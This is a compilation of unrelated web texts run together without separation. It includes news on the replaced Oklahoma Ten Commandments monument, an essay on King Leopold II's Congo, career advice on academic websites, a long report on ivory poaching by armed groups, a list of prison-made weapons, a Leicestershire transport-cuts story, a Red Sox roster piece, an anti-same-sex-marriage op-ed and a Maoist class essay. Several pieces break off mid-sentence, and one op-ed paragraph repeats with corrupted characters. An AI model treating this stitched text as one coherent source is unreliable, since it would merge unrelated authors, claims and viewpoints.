Other co-authors of the study are Paul Ekwaru, UC Berkeley Ph.D. student in epidemiology; Bruce Ellis, professor at the University of Arizona; and pediatrician Dr. Louise Greenspan, project manager Anousheh Mirabedi, and research assistant Evelyn Landaverde at Kaiser Permanente Northern California's Division of Research.Advertisement 10 Commandments statue replaced at Oklahoma Capitol Share Shares Copy Link Copy
A Ten Commandments monument on the Oklahoma Capitol grounds that was destroyed by a man who drove into it was replaced Thursday with an exact replica.Workers used a large crane to move the 2,400-pound granite monument onto its repaired base on a staircase landing outside the Capitol building."While the destruction of the original monument was tragic, this replacement is identical in every respect, and we look forward to it standing the test of time," said Rep. Mike Ritze, R-Broken Arrow, whose family commissioned the original monument for $10,000.Gary Mosier of Wilbert Memorials, which rebuilt the 6-foot-tall headstone-like monument, said the granite came from a quarry in South Dakota. The design, which is an exact replica of a monument at the Texas Capitol, was added at the company's facility in Kansas. Mosier said the company fronted the cost for the new monument, and Ritze said he's raising the money privately to reimburse the company.The monument, which is at the center of a lawsuit, was smashed into pieces in October when someone drove a car across the Capitol lawn and crashed into it. A 29-year-old man was arrested the next day after he showed up at a federal building in Oklahoma City, spit on a picture of President Barack Obama and acknowledged destroying the monument, according to a police report. The man was admitted to a hospital for mental health treatment, and formal charges were never filed.The original monument was erected in 2012 after a bill authorizing it was passed by the Republican-controlled Legislature and signed into law by then-Gov. Brad Henry, a Democrat. A Norman man has sued to have it removed, saying it violates the state constitution's prohibition against using public property to support "any sect, church, denomination or system of religion." The case is pending before the Oklahoma Supreme Court.Other groups have also asked to erect their own monuments on the Capitol grounds, including a satanic group that wants to put up a 7-foot-tall statue that depicts Satan as Baphomet, a goat-headed figure with horns, wings and a long beard. A Hindu leader in Nevada, an animal rights group and the satirical Church of the Flying Spaghetti Monster have also made requests.Take a look at this picture. Do you know who it is?
Most people haven’t heard of him.
But you should have. When you see his face or hear his name you should get as sick in your stomach as when you read about Mussolini or Hitler or see one of their pictures. You see, he killed over 10 million people in the Congo.
His name is King Leopold II of Belgium.
He “owned” the Congo during his reign as the constitutional monarch of Belgium. After several failed colonial attempts in Asia and Africa, he settled on the Congo. He “bought” it and enslaved its people, turning the entire country into his own personal slave plantation. He disguised his business transactions as “philanthropic” and “scientific” efforts under the banner of the International African Society. He used their enslaved labor to extract Congolese resources and services. His reign was enforced through work camps, body mutilations, executions, torture, and his private army.
Most of us – I don’t yet know an approximate percentage but I fear its extremely high – aren’t taught about him in school. We don’t hear about him in the media. He’s not part of the widely repeated narrative of oppression (which includes things like the Holocaust during World War II). He’s part of a long history of colonialism, imperialism, slavery and genocide in Africa that would clash with the social construction of the white supremacist narrative in our schools. It doesn’t fit neatly into a capitalist curriculum. Making overtly racist remarks is (sometimes) frowned upon in polite society, but it’s quite fine not to talk about genocides in Africa perpetrated by European capitalist monarchs.
Mark Twain wrote a satire about Leopold called “King Leopold’s soliloquy; a defense of his Congo rule“, where he mocked the King’s defense of his reign of terror, largely through Leopold’s own words. It’s 49 pages long. Mark Twain is a popular author for American public schools. But like most political authors, we will often read some of their least political writings or read |
to future employers? In the end, would they be left to their own devices to summarize your accomplishments in their effort to convince their colleagues that you are worthy of attention as a viable candidate? The point of this article is to make the case that everybody in this scenario is better off if there is a website out there clearly about you showcasing your achievements and credentials (although this piece of advice does assume that you have relevant achievements to showcase).
Have you searched on your name online? If not then you should do so immediately and get in the habit of doing so every few months. While some discussions put a negative twist on so-called vanity searches, in this day and age, it is crucial to have a sense of what shows up when one queries your name. When you do such searches, be sure to try different services (Google, Bing) and do so while being logged out of any related accounts (e.g., Gmail). The reason is that search engines like Google personalize their results based on information they infer about the searcher. Accordingly, what a search engine shows you when you query your name may not be the same results list that someone from another geographical location with a different search and browsing history will see. To that end, it is also helpful if you try the search on someone else’s machine (consider a trip to a library). For a neutral system that does not personalize results at all, give Duckduckgo a try.
If the content that comes up in the top results – the upper half of the first page of results – is not material about you or is not content you control then you should start taking a more active role in managing your online presence, and in particular, in creating a website dedicated to your academic work. If your institution provides such a service (more common for faculty than graduate students) then make sure your content on that page is up to date. The challenge of institutional pages is that faculty rarely have direct control over the content that is on them and they cannot always be updated seamlessly and in a timely manner. So even if your university has a page up about you, you may consider creating your own site so that you can update it with some regularity and control what is on it more directly. Of course, not everybody has the technical know-how to create a site. Some services out there can help with this, from Wordpress to About.me, helping you populate the site with content without having to know how to code Web pages.
The pages that come up first when searching for our names give plenty of information for those interested in our professional work and identities. Eszter maintains eszter.com, which prominently displays information about recent updates, upcoming talks, a brief bio as well as links to an updated C.V., her research, and press coverage. Brayden relies on his university's website to signal his areas of expertise, share his C.V., showcase his research and teaching, point to press clippings, and provide contact information. Subsequent search engine results on our names link to our social media presence and blog writing as well as other content covering our areas of interest.
If you do not have a website but one of the top results to a search on your name is a link to one of your accounts on a social network site such as Twitter or LinkedIn then that may be sufficient, but you need to make sure that the content on the site is the type that would be helpful to potential employers and grant makers. Twitter is unlikely to be able to provide the kind of detailed information about your research that would be helpful to potential employers, although it may signal to a reader your intellectual interests and activities. If it is one of the top links in response to a search on your name, then make sure that it links to a professional page with a copy of your C.V. (services such as Academia.edu and Scribd offer free options for hosting such files to which you can link elsewhere). (In a future piece focusing specifically on appropriate and helpful uses of social media, we will say more on what type of Twitter and other social network site uses may be best from a career perspective.)
If one of the top results is a page you control then you are in good shape, but you still cannot rest on your laurels. The Web is a dynamic space with content changing all the time. The first result today may not be the first result tomorrow so even if your content is in a prominent spot at the moment, you need to continue staying active in updating your online presence to make sure it stays that way. After all, other people – not just in academe, but in the world at large – may share your name and may be putting out content online that would compete with yours for a top search result spot.
In addition to updating your account’s content, you can also help the page gain or hold onto a prominent spot on the list by posting links to it elsewhere on the Web. For example, Twitter accounts have short bios that leave room for a link. Post the address of your site there. LinkedIn and Facebook also allow for this and even more customizable services like Tumblr and blogging software (e.g., Wordpress, Blogger) offer various opportunities to connect your name with your website address. While search engines’ algorithms are proprietary and tightly sealed industry secrets so we cannot know what exactly plays into how they rank sites, traditionally link text associated with an address helps in attracting attention.
Where your page shows up among search results is not simply about what you do online, it is also about how unique your name may be as compared to a combination of popular first and last names. In the latter case, consider using your middle initial or middle name regularly (both online and off) to help people find you without too much effort. If use of your middle name in queries is a more realistic way to get your content on the top of search results then make sure your middle name is prominent on your C.V. and publications so that people are prompted to use that when looking to learn about you.
As with other things – like figuring out how to present material on your C.V. – take a look at other academics’ sites to get a sense of what type of presentation will be most helpful to your readers. When you look for other scholars on the Web, what material are you seeking? Presumably you would like to get a sense of their research, their training, their teaching (e.g., looking for example syllabuses). Construct your site with similar ideas in mind. The academic C.V. is one of the quickest ways to convey information about yourself. Make sure it or a link to it is prominently displayed on your site so that visitors do not have to hunt for it.
As you consider what you say about yourself on your site, think of it as more than a calling card – it is your chance to shape people’s evaluations of your work. What do you want people to remember about you? What do you hope to be known for? That information should be visible and prominent on your page. More than just serving as a place to store your contact information, your website is a representation of who you are as a scholar. Be thoughtful as you decide how to describe your research interests because people who are relatively unfamiliar with your work will form their initial impressions about you and what makes you interesting based on what they read. Simple things like keywords not only shape who visits your site (e.g., Google searches for certain keywords may bring people to your page) but also how they classify your work and evaluate its quality. As you display information about yourself, remember that you are not just reporting who you are, you are framing your work so that others can understand you and figure out why you are a scholar worthy of attention and respect. And do include some contact information for those who want to follow up with you. After all, if someone wants to invite you to give a talk you do not want to make it difficult for them.Like blood diamonds from Sierra Leone or plundered minerals from Congo, ivory, it seems, is the latest conflict resource in Africa, dragged out of remote battle zones, easily converted into cash and now fueling conflicts across the continent.
Some of Africa’s most notorious armed groups, including the Lord’s Resistance Army, the Shabab and Darfur ’s janjaweed, are hunting down elephants and using the tusks to buy weapons and sustain their mayhem. Organized crime syndicates are linking up with them to move the ivory around the world, exploiting turbulent states, porous borders and corrupt officials from sub-Saharan Africa to China, law enforcement officials say.
But it is not just outlaws cashing in. Members of some of the African armies that the American government trains and supports with millions of taxpayer dollars — like the Ugandan military, the Congolese Army and newly independent South Sudan ’s military — have been implicated in poaching elephants and dealing in ivory.
Congolese soldiers are often arrested for it. South Sudanese forces frequently battle wildlife rangers. Interpol, the international police network, is now helping to investigate the mass elephant killings in the Garamba park, trying to match DNA samples from the animals’ skulls to a large shipment of tusks, marked “household goods,” recently seized at a Ugandan airport.
The vast majority of the illegal ivory — experts say as much as 70 percent — is flowing to China, and though the Chinese have coveted ivory for centuries, never before have so many of them been able to afford it. China’s economic boom has created a vast middle class, pushing the price of ivory to a stratospheric $1,000 per pound on the streets of Beijing.
High-ranking officers in the People’s Liberation Army have a fondness for ivory trinkets as gifts. Chinese online forums offer a thriving, and essentially unregulated, market for ivory chopsticks, bookmarks, rings, cups and combs, along with helpful tips on how to smuggle them (wrap the ivory in tinfoil, says one Web site, to throw off X-ray machines).
Last year, more than 150 Chinese citizens were arrested across Africa, from Kenya to Nigeria, for smuggling ivory. And there is growing evidence that poaching increases in elephant-rich areas where Chinese construction workers are building roads.
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“China is the epicenter of demand,” said Robert Hormats, a senior State Department official. “Without the demand from China, this would all but dry up.”
He said that Secretary of State Hillary Rodham Clinton, who condemned conflict minerals from Congo a few years ago, was pushing the ivory issue with the Chinese “at the highest levels” and that she was “going to spend a considerable amount of time and effort to address this, in a very bold way.”
Foreigners have been decimating African elephants for generations. “White gold” was one of the primary reasons King Leopold II of Belgium turned Congo into his own personal fief in the late 19th century, leading to the brutal excesses of the upriver ivory stations thinly fictionalized in Joseph Conrad ’s novel “Heart of Darkness” and planting the seeds for Congo’s free fall today.
Ivory Coast got its name from the teeming elephant herds that used to frolic in its forests. Today, after decades of carnage, there is almost no ivory left.
The demand for ivory has surged to the point that the tusks of a single adult elephant can be worth more than 10 times the average annual income in many African countries. In Tanzania, impoverished villagers are poisoning pumpkins and rolling them into the road for elephants to eat. In Gabon, subsistence hunters deep in the rain forest are being enlisted to kill elephants and hand over the tusks, sometimes for as little as a sack of salt.
Last year, poaching levels in Africa were at their highest since international monitors began keeping detailed records in 2002. And 2011 broke the record for the amount of illegal ivory seized worldwide, at 38.8 tons (equaling the tusks from more than 4,000 dead elephants). Law enforcement officials say the sharp increase in large seizures is a clear sign that organized crime has slipped into the ivory underworld, because only a well-oiled criminal machine — with the help of corrupt officials — could move hundreds of pounds of tusks thousands of miles across the globe, often using specially made shipping containers with secret compartments.
The smugglers are “Africa-based, Asian-run crime syndicates,” said Tom Milliken, director of the Elephant Trade Information System, an international ivory monitoring project, and “highly adaptive to law enforcement interventions, constantly changing trade routes and modus operandi.”
Conservationists say the mass kill-offs taking place across Africa may be as bad as, or worse than, those in the 1980s, when poachers killed more than half of Africa’s elephants before an international ban on the commercial ivory trade was put in place.
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“We’re experiencing what is likely to be the greatest percentage loss of elephants in history,” said Richard G. Ruggiero, an official with the United States Fish and Wildlife Service.
Some experts say the survival of the species is at stake, especially when many members of the African security services entrusted with protecting the animals are currently killing them.
“The huge populations in West Africa have disappeared, and those in the center and east are going rapidly,” said Andrew Dobson, an ecologist at Princeton. “The question is: Do you want your children to grow up in a world without elephants?”
‘We Shoot First’
Garamba National Park is a big, beautiful sheet of green, 1,900 square miles, tucked in the northeastern corner of Congo. Picture a sea of chest-high elephant grass, swirling brown rivers, ribbons of papyrus and the occasional black-and-white secretary bird swooping elegantly through rose-colored skies. Founded in 1938, Garamba is widely considered one of Africa’s most stunning parks, a naturalist’s dream.
But today, it is a battlefield, with an arms race playing out across the savanna. Every morning, platoons of Garamba’s 140 wildlife rangers suit up with assault rifles, machine guns and rocket-propelled grenades. Luis Arranz, the park manager, wants to get surveillance drones, and the nonprofit organization that runs the park is considering buying night-vision goggles, flak jackets and pickup trucks with mounted machine guns.
“We don’t negotiate, we don’t give any warning, we shoot first,” said Mr. Onyango, the chief ranger, who worked as a game warden in Kenya for more than 20 years. He rose to a high rank but lost his job after a poaching suspect died in his custody after being whipped.
“Out here, it’s not michezo,” Mr. Onyango said, using the Swahili word for games.
In June, he heard a burst of gunfire. His rangers did a “leopard crawl” on their bellies for hours through the scratchy elephant grass until they spied poachers hacking several elephants. The instant his squad shot at the poachers, the whole bush came alive with crackling gunfire.
“They opened up on us with PKMs, AKs, G-3s, and FNs,” he said. “Most poachers are conservative with their ammo, but these guys were shooting like they were in Iraq. All of a sudden, we were outgunned and outnumbered.”
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Both of the rangers’ old belt-fed machine guns jammed that day, and they narrowly escaped (11 have been killed since 2008 and some of the rangers’ children have even been kidnapped). Later investigation showed that the poachers were members of the Lord’s Resistance Army, a brutal rebel outfit that circulates in central Africa, killing villagers and enslaving children. American Special Operations troops are helping several African armies hunt down the group’s phantom of a leader, Joseph Kony, who is believed to be hiding in a remote corner of the Central African Republic.
Ivory may be Mr. Kony’s new lifeline.
Several recent escapees from the L.R.A. said that Mr. Kony had ordered his fighters to kill as many elephants as possible and send him the tusks.
“Kony wants ivory,” said a young woman who was kidnapped earlier this year near Garamba and did not want to be identified because she was still terrified. “I heard the other rebels say it many times: ‘We need to get ivory and send it to Kony.’ ”
She said that in her four months in captivity, before she ran away one night when the rebels got drunk, she saw them kill 10 elephants, wrap the tusks in cloth sacks and send them to Mr. Kony at his hiding place.
Other recent escapees said that the group had killed at least 29 elephants since May, buying guns, ammunition and radios with the proceeds. Mr. Kony may be working with Sudanese ivory traders. One ivory retailer in Omdurman, Sudan, who openly sells ivory bracelets, prayer beads and carved tusks, said the Lord’s Resistance Army was one source of the ivory he saw.
“The L.R.A. works in this, too; that’s how they buy their weapons,” the shopkeeper said matter-of-factly. That made sense, American officials said, given Mr. Kony’s few sources of income.
Several Sudanese ivory traders said the ivory from Congo and the Central African Republic moved overland across Sudan’s vast western desert region of Darfur and then up to Omdurman, all with the help of corrupt Sudanese officials. There is a well-worn practice in Sudan called “buying time,” in which smugglers pay police officers and border guards for a specified amount of time to let a convoy of illegal goods slip through checkpoints.
But there are many routes. On Africa’s east coast, Kenya’s port city of Mombasa is a major transshipment center. A relatively small percentage of containers in Mombasa is inspected, and ivory has been concealed in shipments of everything from avocados to anchovies. Sometimes it is wrapped in chili peppers, to throw off the sniffer dogs.
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On the west coast, in the Gulf of Guinea, “there is a relatively recent phenomenon of well-armed, sophisticated poachers who load their ivory onto Chinese fishing ships,” one senior American official said.
Chinese officials declined to discuss any aspect of the ivory trade, with one representative of the Forestry Ministry, which handles ivory issues, saying, “This is a very sensitive topic right now.”
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Several Sudanese ivory traders and Western officials said that the infamous janjaweed militias of Darfur were also major poachers. Large groups of janjaweed — the word means horseback raider — were blamed for killing thousands of civilians in the early 2000s, when Darfur erupted in ethnic conflict. International law enforcement officials say that horseback raiders from Darfur wiped out thousands of elephants in central Africa in the 1980s. Now they suspect that hundreds of janjaweed militiamen rode more than 600 miles from Sudan and were the ones who slaughtered at least 300 elephants in Bouba Ndjida National Park in Cameroon this past January, one of the worst episodes of elephant slaughter recently discovered.
In 2010, Ugandan soldiers, searching for Mr. Kony in the forests of the Central African Republic, ran into a janjaweed ivory caravan. “These guys had 400 men, pack mules, a major camp, lots of weapons,” a Western official said. A battle erupted and more than 10 Ugandans were killed.
“It just shows you the power of poaching, how much money you can make stacking up the game,” the official said.
Businessmen are clearly bankrolling these enormous ivory expeditions, both feeding off and fueling conflict, Western officials and researchers say.
“This is not just freelance stuff,” said Mr. Hormats, the State Department official. “This is organized crime.”
Paul Elkan, a director at the Wildlife Conservation Society, said that the janjaweed sweeping across central Africa on ambitious elephant hunts “goes much deeper than a bunch of guys coming in on horses. It has to do with insecurity and lawlessness.”
Perhaps no country in Africa is as lawless as Somalia, which has languished for more than 20 years without a functioning central government, spawning Islamist militants, gunrunners, human traffickers and modern-day pirates. Ivory has entered this illicit mix.
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Several Somali elders said that the Shabab, the militant Islamist group that has pledged allegiance to Al Qaeda, recently began training fighters to infiltrate neighboring Kenya and kill elephants for ivory to raise money.
One former Shabab associate said that the Shabab were promising to “facilitate the marketing” of ivory and have encouraged villagers along the Kenya-Somalia border to bring them tusks, which are then shipped out through the port of Kismayo, a notorious smuggling hub and the last major town the Shabab still control.
“The business is a risk,” said Hassan Majengo, a Kismayo resident with knowledge of the ivory trade, “but it has an exceptional profit.”
‘Easy Money’
That profit is not lost on government soldiers in central Africa, who often get paid as little as $100 a month, if they get paid at all.
In Garamba, the park rangers have arrested many Congolese government soldiers, including some caught with tusks, slabs of elephant meat and the red berets often worn by the elite presidential guard.
“An element of our army is involved,” acknowledged Maj. Jean-Pierrot Mulaku, a Congolese military prosecutor. “It’s easy money.”
Congolese soldiers have a long history of raping and killing civilians and pilfering resources. According to a report written in 2010 by John Hart, an American scientist and one of the top elephant researchers in Congo, the “Congolese military are implicated in almost all elephant poaching,” making the military “the main perpetrator of illegal elephant killing in D.R.C.”
The Garamba rangers and a Congolese government intelligence officer said that they also routinely battled soldiers from the Sudan People’s Liberation Army, the military of South Sudan. A South Sudanese military spokesman denied that, saying that the soldiers “didn’t have time” for poaching.
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The American government has provided $250 million in nonlethal military assistance to South Sudan during the past several years. In May, the Garamba rangers said they had opened fire on four South Sudanese soldiers who had poached six elephant tusks. The rangers said they killed one soldier, though they did not seem to think too much about it.
“I’ve killed too many people to count,” said Alexi Tamoasi, a veteran ranger.
But the suspected helicopter poaching is something new.
Mr. Onyango said the strange way the elephant carcasses were found, clumped in circles, with the calves in the middle for protection, was yet another sign that a helicopter had corralled them together because elephants usually scatter at the first shot.
African Parks, the South Africa-based conservation organization that manages Garamba, has photographs of an Mi-17 military transport helicopter flying low over the park in April and said it had traced the chopper’s registration number to the Ugandan military.
Col. Felix Kulayigye, a spokesman for the Ugandan military, acknowledged that the helicopter was one of its aircraft. But he said that the poaching allegation was a “baseless rumor” and that he knew “for sure” that Lord’s Resistance Army members were “well known” poachers in that area.
John Sidle, an American from Nebraska who works as a pilot at Garamba, said, “What bothers me is that it’s probably American taxpayer money paying for the jet fuel for the helicopter.”
The United States has paid tens of millions of dollars in recent years for fuel and transport services for the Ugandan Army to hunt down Mr. Kony in central Africa, while training Congolese and South Sudanese to help. But the State Department said it had no evidence that the Ugandan military was responsible for the Garamba killings, nor knowledge that any of the African soldiers involved in the Kony hunt had engaged in poaching. It did not address the broader history of poaching by American-supported militaries.
In June, 36 tusks were seized at the Entebbe airport in Uganda. Eighteen of the 22 elephants killed in Garamba in March were adults that had their ivory hacked out, which would usually mean 36 tusks. The little stubs of ivory on the dead calves had been left untouched.
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In 1989, the Convention on International Trade in Endangered Species passed a moratorium on the international commercial trade of African elephant ivory, except under a few rare circumstances. No one knows how many elephants are being poached each year, but many leading conservationists agree that “tens of thousands” is a safe number and that 2012 is likely to be worse than 2011.
The total elephant population in Africa is a bit of a mystery, too. The International Union for Conservation of Nature, a global conservation network, estimates from 472,269 to 689,671. But that is based on information from 2006. Poaching has dramatically increased since then, all across the continent.
Some of the recently poached elephants had been sexually mutilated, with their genitals or nipples cut off, possibly for sale — something researchers said they had not encountered before.
“It’s very disturbing,” said Iain Douglas-Hamilton, the founder of Save the Elephants, who recently testified at a Senate hearing on ivory and insecurity.
‘Like the Drug War’
Mr. Arranz, Garamba’s director, has an exhausted look in his eyes. History is against him. Garamba was founded more than 70 years ago, in part to protect the rare northern white rhinoceros, which used to number more than 1,000 here. But many people in Asia believe that ground rhino horn is a cure for cancer and other ills, and it fetches nearly $30,000 a pound, more than gold. In the past few decades, as Congo has descended into chaos, rhino poachers have moved into Garamba. The park’s northern white rhinos were among the last ones in the wild anywhere, but rangers have not seen any for the past five years.
Garamba faces a seemingly endless number of challenges, many connected to the utter state failure of Congo itself. Some of the rangers are poachers themselves, killing the animals they are entrusted to protect, saying their salaries are too low to live on.
“I was hungry,” explained Anabuda Bakuli, a ranger jailed for killing a waterbuck.
It does not help that many Garamba rangers are, by their own admission, alcoholics and run up debts at the bar not far from park headquarters. Mr. Onyango, the chief, is known to drink several liters of beer in a single sitting. He talks about “the stress.”
Poaching rates are now the highest here in central Africa, a belt of some of the most troubled countries in the world. In Chad, heavily armed horsemen, who many conservationists say were janjaweed, recently killed 3,000 elephants in just a few years.
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Garamba once had more than 20,000 elephants. Last year, there were around 2,800. This year, maybe 2,400.
Every morning, if the skies are clear, Mr. Arranz flies above Garamba in a small two-seat plane, the equivalent of a Mazda Miata with wings. The emerald green savanna stretches out below him, a breathtaking sight at dawn.
But the other day, he saw something that furrowed his brow: vultures.
The next day, after a hike through the tall grass, the stench grew unbearable and the air reverberated with the sizzle of thousands of flies. “Poached,” Mr. Arranz said, as he discovered a dead elephant, its face cut off.
Nearby were the ashes of a small campfire.
“These guys were out here for a while,” he said. “If they were willing to do this for one elephant....” His voice trailed off.
“It’s like the drug war,” he said later. “If people keep buying and paying for ivory, it’s impossible to stop it.”Everyone knows that prison inmates have a lot of time on their hands, but I never knew they had so much time to come up with these innovative (and rather evil) ideas. Seriously, I could see making a grill and a couple of weapons, but a radio transmitter and guns? Like how in the…?
Radio transmitter…
Double barrel pistol…
Tattooing machine…
A grill in a tin can…
A whip (ouch!)…
A grill or burner…
Eating utensils…
A shaving tool…
Weapons from a pencil sharpener and a couple lighters…
Various “shivs…”
More weapons…
A cell phone snuck in a sandal…
A pistol
A machete…
Even more weapons…
A ladder…
A mace…
A saw…
A FREAKING shotgun…
Wow! This makes me want to never break a traffic law, never screw up on my taxes, and NEVER end up in prison. These inmates be crazy!
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Nearly £1 million could be cut from the money spent helping some of Leicestershire most vulnerable children get to and from schools and nurseries.
Conservative-run Leicestershire County Council has proposed a series of controversial measures to save cash.
Currently some 400 special educational needs (SEN) children get discounted transport.
The moves will also affect some families whose children are in mainstream education.
Parents are asked to pay an annual contribution of £660 for this transport, but low income families are currently exempt from the charge.
Now the council is planning to reduce the level of discount available to children and young people from low income families for transport to nursery and post-16 education.
It also wants to stop offering council arranged taxis and minibuses to transport SEN students to post-16 education and offer a Personal Transport Budget instead.
That will mean parents will have to arrange their own transport with a budget offered to them rather than have council officials take care of it.
Finally the council wants to stop providing transport to post-16 education for eligible mainstream post-16 students.
In all, the proposed changes could save up to £964,000 a year.
The council says it is under increasing pressure to meet the growing costs of SEN transport to school and the demand for it.
However parents have said their families could be plunged into crisis if they lose affordable transport.
They are begging the council to drop the plans.
Annie Bannister’s 18-year-old son is one of the youngsters who benefits from the financial system.
Annie, from Harborough, warned that parents would have to withdraw their children from school if the planned cuts proceeded.
She said: “Our kids can’t stay at home by themselves, they simply can’t.
“Families will have to give up work and it is social workers that will have to pick up the pieces.
“I know it costs everybody but the long term cost of denying them education is far, far worse.
“We want our kids to have the best opportunities in our fairly blighted lives.”
She said it would make it even harder for children to get jobs in the future if they were denied.
Labour county councillor Max Hunt said he had read some of the stories from parents who will be affected by the cuts and they had made him weep.
He said: “The pain they are going through now and the pain we are going to inflict on them is not worth consideration.
“We are hurting the most vulnerable children from the most vulnerable families.”
County Hall says it faces difficult decisions as it looks to save £66 million over the next four years.
It says no decisions have been made and a consultation on the issue runs until December 21.BOSTON -- The Grady Sizemore experiment in Boston has come to an end.
The Boston Red Sox designated the outfielder for assignment Tuesday, recalling third baseman Garin Cecchini from Triple-A Pawtucket to take his roster spot. He was officially released on Wednesday.
"We were certainly hoping and thinking that this could have turned out different [and] we were still hoping it did up until very recently," Red Sox general manager Ben Cherington said. "It just got to a point where we didn't think we could give it more time. [We are] trying to find ways to create better roster alignment for [manager John Farrell] and his staff and so we made the decision to make the move."
In 52 games for the Red Sox, Sizemore struggled, hitting.216 with two home runs and 15 RBIs in 205 plate appearances. June has been even more difficult for Sizemore, as he's hit.133 (4-for-30) this month with only one RBI in 30 at-bats.
Grady Sizemore revived his career with a great spring training for the Red Sox, only to struggle during the regular season, hitting.216. Mark L. Baer/USA TODAY Sports
Farrell said the team had been discussing a move regarding Sizemore for a couple of days before the decision was made Tuesday.
"Out of respect to Grady, we wanted to make the decision sooner rather than later if there are other opportunities for him," Farrell said.
Farrell said that the news came hard for Sizemore, who has lost playing time recently as a result of the emergence of Brock Holt and successful return of outfielder Daniel Nava. With Holt and Nava moving into starting positions in the Red Sox lineup (Holt making his first career start in center Tuesday night), it became difficult for Sizemore to get consistent at-bats.
"Grady Sizemore is about all the good things in this game," Farrell said. "From his performance, to the person he is, to his work ethic, the way he plays the game -- he's an exceptional person. This is a tough decision to part ways with a guy of his caliber. He's trying to do something that I don't know has been done in the game before. We commended him on his work ethic trying to get back to the level previous."
Signed as a free agent to an incentive-laden deal with a base salary of $750,000 in January, Sizemore represented a low-risk, high-reward option for the Red Sox. Attempting to return to the majors after undergoing seven surgeries for a variety of injuries that limited him to 104 games between 2010-2013, Sizemore was the story of the spring, hitting.310 in 42 exhibition at-bats and showing glimpses of the three-time All Star he once was for the Cleveland Indians.
The promise shown continued once the regular season came around as Sizemore won the starting center fielder job over rookie Jackie Bradley, Jr. and hit a home run in his second at-bat of the season. Since then, the 31-year-old outfielder has slowed down, perhaps finally showing the toll that trying to play a full major league season had on his body.
"From a medical treatment standpoint he was doing well. He wasn't really requiring any special attention or treatment," Cherington said. "The grind of a major league season and playing every day, it's hard to predict what's going to happen to the body. Since he hadn't been through it, he may just need to go through it a little more to find himself. Unfortunately we just weren't in a position to give him more time."
Sizemore's contract called for the possibility of more than $5 million in bonuses. At the time of his designation, he was 20 plate appearances away from reaching a $250,000 performance bonus. He also fell just shy (12 days) of a $250,000 roster bonus.
The Red Sox now have 10 days to either trade or release Sizemore. Cherington said the team didn't discuss a return to the minor leagues with Sizemore but would be open to it. However, his tone seemed to suggest that the two sides will go their separate ways.
"I'm guessing he'll probably try to see if there's a major league opportunity out there," Cherington said. "We'll be rooting hard for him. We'd all love to see him playing in the big leagues and playing well again. Hopefully that happens for him."
Cherington also said that trading Sizemore would be an option for the team.
"In fairness to Grady, I don't think we would draw that out very long," he said. "If anything happens in the next day or so, we'll see. If not, I think we'd probably just take the next step."
Meanwhile, Cecchini will return to the Red Sox for the second time this season to fill the void left by Sizemore on the roster. The move only figures to be temporary as outfielder Shane Victorino is expected to rejoin the team some point along their upcoming West Coast trip and a decision regarding starter Brandon Workman's suspension is expected this week, possibly leaving his scheduled start on Friday up in the air. Farrell said that Ceccini will serve as an option off the bench, primarily at third base.
"I'm happy to be here," Cecchini said. "I'm going to be here and bring a good attitude. Just trying to help the Boston Red Sox win games."On May 5, I witnessed President Barack Obama surrender the moral authority of his office by endorsing pseudo-marriage or "same-sex marriage" during a televised interview. As a Bible believing Christian my initial and enduring reaction was one of utter revulsion and shame. Long ago I determined that this man had lost his moral compass.
On May 5, I witnessed President Barack Obama surrender the moral authority of his office by endorsing pseudo-marriage or �same-sex marriage� during a televised interview. As a Bible believing Christian my initial and enduring reaction was one of utter revulsion and shame. Long ago I determined that this man had lost his moral compass.
Some say that Jesus Christ never spoke of homosexuality. But as an observant Jew, Jesus faithfully kept the Law of Moses, which prohibited this lifestyle. Jesus also clearly taught that God�s original intent for marriage was for this covenant to be between a man and a woman (cf. Matthew 19:4-6). God would never �join together� a same sex marriage.
My concern is for my beloved country. Increasingly, it is taking the broad way �that leadeth to destruction� (Matthew 7:13) or the road to the fate of Sodom, Gomorrah and the cities of the Plain. They were destroyed by God as a warning to future generations to avoid the way of lasciviousness (cf. Jude 7).
What future does God have planned for America? If |
for revolution is the proletariat, our analysis clearly shows that the proletariat is virtually non-existent within U.$. borders, limited primarily to the small migrant worker population. The predominance of the labor aristocracy within imperialist countries today makes the lumpen a more important element than in times and places where the proletariat is the overwhelming majority. Just as Mao had to apply Marx's analysis to Chinese conditions and understand the key role the peasantry plays in revolution in countries where that group is large, we must apply dialectical materialist analysis to the world today to understand the role that will be played by each significant class in Amerikan society.
The lumpen are a more important class in imperialist society today than in the past, and as a result we must identify those who fall in this group and analyze whether they are friends or enemies of the revolution. This essay attempts to identify the lumpen in the United $tates by looking at several potential indicators of economic and social position in society.
First World vs. Third World lumpen
The lumpen is defined as being excluded from the capitalist system; excluded from production and consumption. Of course, everyone must consume to survive, and the lumpen lives on as a class. But their consumption is outside the realm of capitalist relations. The lumpen must take from others what it needs to survive. And in an exploited country the lumpen takes from working people, the petty bourgeoisie and other lumpen who surround them. It is much harder and therefore more rare to take from the bourgeoisie, so the bourgeoisie doesn't much care that the lumpen exist. The lumpen in the Third World is a parasite class, but primarily a parasite on the masses of the oppressed nations.
In the United $tates, we have no significant proletariat, so the lumpen class must be a parasite on the petty bourgeoisie. Historically that petty bourgeoisie has been white, while the lumpen have been concentrated in the New Afrikan ghettos, the reservations of First Nations, and the inner city oppressed communities in general. The national contradiction meant that the lumpen posed a threat to the stability of the country.
The history of social services in the United $tates comes from the Great Depression of the 1930s. As socialism and fascism were expanding to address the problems created by the anarchy of production, U.$. President Franklin Delano Roosevelt had to take drastic measures to preserve bourgeois democracy. The New Deal recovery program was that measure. It brought a system of social safety nets that live on to this day, though they were reformed and reduced starting in the 1980s with the Reagan administration.
This system allowed the emerging lumpen class to participate in the system of distribution and consumption without participating in production. They could do so in a way that was less precarious, less dangerous and better paying than their counterparts in the Third World. In addition to the federal government's services, there is infrastructure in the First World to provide clean water and sanitation to people of all classes. There is rampant overconsumption and waste that makes acquiring basic needs like food and clothing a snap, and there is enough wealth in the country that many non-governmental organizations can fund their own programs to provide food and other materials and services to those in need. For all these reasons, the First World lumpen are a qualitatively different class than the Third World lumpen proletariat in that they do benefit from living in an imperialist country.
Some claiming Marxism tell us that those we call lumpen are really part of the proletariat; they are just part of the reserve army of labor that Marx talked about being necessary to keep wages down among the workers that were employed via competition. But as has been demonstrated, there is no significant proletariat in the United $tates (request our Labor Aristocracy study pack for more on this topic). And while there is a contradiction between employers and employees over wages, this has not been an antagonistic contradiction in post-WWII U.$.A.
To the extent that there is a proletariat in this country, they are migrant workers. And therefore the reserve army of labor is found south of the Rio Grande and elsewhere in the Third World.
